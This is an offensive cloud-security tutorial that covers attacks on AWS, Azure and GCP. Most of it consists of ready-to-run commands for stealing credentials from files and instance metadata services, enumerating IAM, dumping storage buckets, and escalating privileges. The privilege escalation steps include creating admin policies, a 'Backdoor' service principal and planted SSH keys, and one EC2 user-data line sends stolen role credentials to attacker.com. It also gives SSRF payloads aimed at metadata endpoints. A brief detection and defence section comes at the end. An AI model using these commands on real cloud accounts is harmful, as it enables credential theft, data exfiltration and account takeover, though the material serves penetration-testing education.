Cloud Attacks: AWS, Azure, and GCP
The cloud is just someone else's computer—but with an API. Cloud environments introduce new attack surfaces: IAM misconfigurations, exposed storage, metadata services, and serverless functions. Traditional network security doesn't apply when everything is an API call.
Cloud providers secure the infrastructure. You secure everything else—and that "everything else" is where 99% of breaches happen. Misconfigured S3 buckets, overly permissive IAM roles, and exposed credentials in code repos are responsible for most cloud breaches.
The Cloud Attack Landscape
┌─────────────────────────────────────────────────────────────────────────────┐
│ CLOUD ATTACK SURFACE │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ IDENTITY & ACCESS (IAM) │ │
│ │ • Overly permissive policies • Leaked credentials │ │
│ │ • Cross-account trust abuse • Role assumption chains │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ┌─────────────────────────┼─────────────────────────┐ │
│ ▼ ▼ ▼ │
│ ┌───────────────┐ ┌───────────────┐ ┌───────────────┐ │
│ │ COMPUTE │ │ STORAGE │ │ NETWORK │ │
│ │ • EC2/VM SSRF │ │ • Public S3 │ │ • VPC misconfig│ │
│ │ • Lambda abuse│ │ • Blob access │ │ • Security grp │ │
│ │ • Container │ │ • Database │ │ • Firewall │ │
│ │ escape │ │ exposure │ │ bypass │ │
│ └───────────────┘ └───────────────┘ └───────────────┘ │
│ │ │
│ ┌─────────────────────────┼─────────────────────────┐ │
│ ▼ ▼ ▼ │
│ ┌───────────────┐ ┌───────────────┐ ┌───────────────┐ │
│ │ SECRETS │ │ SERVERLESS │ │ LOGGING │ │
│ │ • Env vars │ │ • Event inject│ │ • Disabled │ │
│ │ • Parameter │ │ • Cold start │ │ • Tampered │ │
│ │ Store │ │ timing │ │ • Deleted │ │
│ └───────────────┘ └───────────────┘ └───────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Amazon Web Services (AWS)
Initial Access: Finding AWS Credentials
# Common places to find AWS credentials:
# Git repos
trufflehog git https://github.com/target/repo
gitleaks detect -v
# GitHub search (in browser)
# Search: "AKIA" org:targetcompany
# Search: "aws_secret_access_key" org:targetcompany
# Environment variables
env | grep -i aws
cat ~/.aws/credentials
cat ~/.aws/config
# EC2 Instance Metadata (if you have shell on EC2)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/[role-name]
# IMDSv2 (token required)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
# ECS container credentials
curl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
# Lambda environment
# Check env vars in function code for hardcoded secrets
IAM Enumeration
# Configure stolen credentials
export AWS_ACCESS_KEY_ID=AKIAXXXXXXXXXXXXXXXX
export AWS_SECRET_ACCESS_KEY=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
export AWS_DEFAULT_REGION=us-east-1
# Who am I?
aws sts get-caller-identity
# What can I do? (enumerate permissions)
# Use enumerate-iam tool
python enumerate-iam.py --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY
# Or manually check common actions:
aws iam list-users
aws iam list-roles
aws iam list-attached-user-policies --user-name [username]
aws iam get-policy-version --policy-arn [arn] --version-id v1
# List all policies attached to current user
aws iam list-user-policies --user-name [username]
aws iam list-attached-user-policies --user-name [username]
# Check for inline policies
aws iam get-user-policy --user-name [username] --policy-name [policy]
S3 Bucket Attacks
# Find buckets
# Check DNS, SSL certs, website source for bucket names
# Common patterns: company-backup, company-data, company-dev
# Check if bucket exists and is public
aws s3 ls s3://bucket-name --no-sign-request
aws s3 ls s3://bucket-name # With your creds
# Download everything
aws s3 sync s3://bucket-name ./loot --no-sign-request
# Check bucket ACL
aws s3api get-bucket-acl --bucket bucket-name
# Check bucket policy
aws s3api get-bucket-policy --bucket bucket-name
# Upload test (if write access)
echo "test" > test.txt
aws s3 cp test.txt s3://bucket-name/test.txt
# Subdomain/bucket takeover
# If bucket doesn't exist but DNS points to it, you can claim it
aws s3 mb s3://unclaimed-bucket-name
Privilege Escalation in AWS
# If you can create/modify IAM policies:
# Create admin policy and attach to yourself
# 1. iam:CreatePolicyVersion
aws iam create-policy-version --policy-arn [target-policy] \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
--set-as-default
# 2. iam:AttachUserPolicy
aws iam attach-user-policy --user-name [your-user] \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# 3. iam:PassRole + ec2:RunInstances (launch EC2 with privileged role)
aws ec2 run-instances --image-id ami-xxxxx \
--instance-type t2.micro \
--iam-instance-profile Name=AdminRole \
--user-data '#!/bin/bash
curl http://attacker.com/callback?creds=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole)'
# 4. Lambda privilege escalation
# If you can create Lambda with iam:PassRole
aws lambda create-function --function-name privesc \
--runtime python3.9 \
--role arn:aws:iam::ACCOUNT:role/AdminRole \
--handler lambda_function.handler \
--zip-file fileb://function.zip
# 5. sts:AssumeRole to privileged role
aws sts assume-role --role-arn arn:aws:iam::ACCOUNT:role/AdminRole \
--role-session-name hacked
Pacu automates AWS privilege escalation. It enumerates permissions, finds privesc paths, and exploits them.
Microsoft Azure
Initial Access: Finding Azure Credentials
# Azure credential locations:
# Azure CLI
cat ~/.azure/accessTokens.json
cat ~/.azure/azureProfile.json
# PowerShell tokens
$env:AZURE_ACCESS_TOKEN
# Service Principal in environment
$env:AZURE_CLIENT_ID
$env:AZURE_CLIENT_SECRET
$env:AZURE_TENANT_ID
# Instance Metadata Service (IMDS)
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# From Azure VMs, get managed identity token
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
# Azure DevOps PAT tokens in repos
# Search: "azure" "pat" "token" in code
Azure Enumeration
# Azure PowerShell
Connect-AzAccount -AccessToken $token -AccountId [account-id]
# Who am I?
Get-AzContext
# List subscriptions
Get-AzSubscription
# List resources
Get-AzResource
# List VMs
Get-AzVM
# List storage accounts
Get-AzStorageAccount
# List key vaults
Get-AzKeyVault
# Azure AD enumeration
# Install AzureAD module
Get-AzureADUser -All $true
Get-AzureADGroup -All $true
Get-AzureADApplication -All $true
Get-AzureADServicePrincipal -All $true
Azure Blob Storage Attacks
# Find blob storage
# Look for: *.blob.core.windows.net
# Check if container is public
curl "https://storageaccount.blob.core.windows.net/containername?restype=container&comp=list"
# List blobs (if public)
az storage blob list --container-name [container] --account-name [account] --auth-mode anonymous
# Download blobs
az storage blob download --container-name [container] --name [blob] --file ./local --account-name [account]
# Check for SAS tokens in URLs
# https://storageaccount.blob.core.windows.net/container/blob?sv=2020-08-04&ss=b&srt=co&sp=rwdlacitfx&se=2024-...
# If you find a SAS token, try escalating permissions or extending expiry
Azure Privilege Escalation
# If you're a Global Administrator or Privileged Role Administrator:
# You can assign any role to yourself
# Assign Owner role to yourself
New-AzRoleAssignment -ObjectId [your-object-id] -RoleDefinitionName "Owner" -Scope "/subscriptions/[sub-id]"
# If you can manage applications:
# Create app with high privileges
$app = New-AzureADApplication -DisplayName "Backdoor"
$sp = New-AzureADServicePrincipal -AppId $app.AppId
New-AzRoleAssignment -ObjectId $sp.ObjectId -RoleDefinitionName "Contributor" -Scope "/subscriptions/[sub-id]"
# Abuse Automation Accounts (if you have Contributor)
# Run commands as the Automation Account's managed identity
# Create runbook with malicious code
# Abuse Logic Apps
# If you can modify a Logic App, inject actions to exfiltrate data or execute code
Google Cloud Platform (GCP)
Initial Access: Finding GCP Credentials
# GCP credential locations:
# Service account keys (JSON files)
find / -name "*.json" 2>/dev/null | xargs grep -l "private_key_id"
# Default application credentials
cat ~/.config/gcloud/application_default_credentials.json
cat ~/.config/gcloud/credentials.db
# Environment variables
echo $GOOGLE_APPLICATION_CREDENTIALS
echo $CLOUDSDK_CONFIG
# Metadata server (from GCE instance)
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Get all metadata
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/?recursive=true"
# From Cloud Functions
# Automatic credential available via libraries
GCP Enumeration
# Authenticate with service account key
gcloud auth activate-service-account --key-file=key.json
# Or with access token
gcloud config set auth/access_token [token]
# Who am I?
gcloud auth list
gcloud config get-value project
# List projects
gcloud projects list
# List compute instances
gcloud compute instances list
# List storage buckets
gsutil ls
# List service accounts
gcloud iam service-accounts list
# Get IAM policy for project
gcloud projects get-iam-policy [project-id]
# List Cloud Functions
gcloud functions list
# List Kubernetes clusters
gcloud container clusters list
GCP Storage Attacks
# Check bucket permissions
gsutil iam get gs://bucket-name
# List bucket contents (if readable)
gsutil ls gs://bucket-name
gsutil ls -r gs://bucket-name/**
# Download bucket
gsutil -m cp -r gs://bucket-name ./loot
# Check if writable
echo "test" | gsutil cp - gs://bucket-name/test.txt
# Bucket ACLs
gsutil acl get gs://bucket-name
# Find publicly accessible buckets
# Common patterns: [company]-backup, [company]-data, [company]-staging
GCP Privilege Escalation
# If you have iam.serviceAccountKeys.create:
# Create a key for any service account
gcloud iam service-accounts keys create key.json \
--iam-account=admin-sa@project.iam.gserviceaccount.com
# If you have iam.serviceAccountTokenCreator:
# Generate access token for service account
gcloud auth print-access-token --impersonate-service-account=admin-sa@project.iam.gserviceaccount.com
# If you have compute.instances.setMetadata:
# Add SSH key to instance via metadata
gcloud compute instances add-metadata [instance] \
--metadata ssh-keys="attacker:ssh-rsa AAAA..."
# If you have cloudfunctions.functions.update:
# Modify function to run as privileged service account
gcloud functions deploy [function] \
--service-account=admin-sa@project.iam.gserviceaccount.com \
--source=./malicious-code
# If you have container.clusters.getCredentials:
# Get kubectl access to GKE clusters
gcloud container clusters get-credentials [cluster] --zone [zone]
kubectl get secrets --all-namespaces
Cross-Cloud Techniques
SSRF to Cloud Metadata
# If you find SSRF vulnerability in a cloud-hosted app:
# AWS IMDSv1
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Azure IMDS
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# Header required: Metadata: true
# GCP Metadata
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Header required: Metadata-Flavor: Google
# Bypass header requirements with redirect:
# If app follows redirects, host a page that redirects to metadata URL
# Some implementations don't require headers on localhost/internal IPs
Cloud Credential Theft Automation
# All-in-one cloud credential enumeration:
# CloudFox (AWS)
cloudfox aws -p [profile] all-checks
# ScoutSuite (multi-cloud)
scout aws --profile [profile]
scout azure --cli
scout gcp --service-account [key.json]
# Prowler (AWS security assessment)
./prowler -p [profile]
# Check for exposed keys in CI/CD
# GitLab CI variables, GitHub Actions secrets, Jenkins credentials
Detection Strategies
Attack Indicators
- API calls from unusual IPs/geolocations
- Enumeration patterns (List*, Describe*, Get*)
- Metadata service access from applications
- Service account key creation
- Cross-account role assumptions
- Bucket policy modifications
- Disabled CloudTrail/Activity Logs
Defender Actions
- Enable CloudTrail/Activity Logs everywhere
- Alert on sensitive API calls
- Use IMDSv2 (AWS) with hop limit
- Implement least privilege IAM
- Regular credential rotation
- Block public S3/Blob access at org level
- Use cloud security posture management (CSPM)
Critical CloudTrail Events (AWS)
| Event Name | Risk | Significance |
|---|---|---|
| ConsoleLogin | HIGH | Console access from new location/IP |
| CreateAccessKey | CRITICAL | New programmatic access created |
| AttachUserPolicy | CRITICAL | Privilege escalation attempt |
| StopLogging | CRITICAL | Attacker disabling audit trail |
| PutBucketPolicy | HIGH | S3 bucket permissions changed |
| AssumeRole | HIGH | Cross-account or elevated access |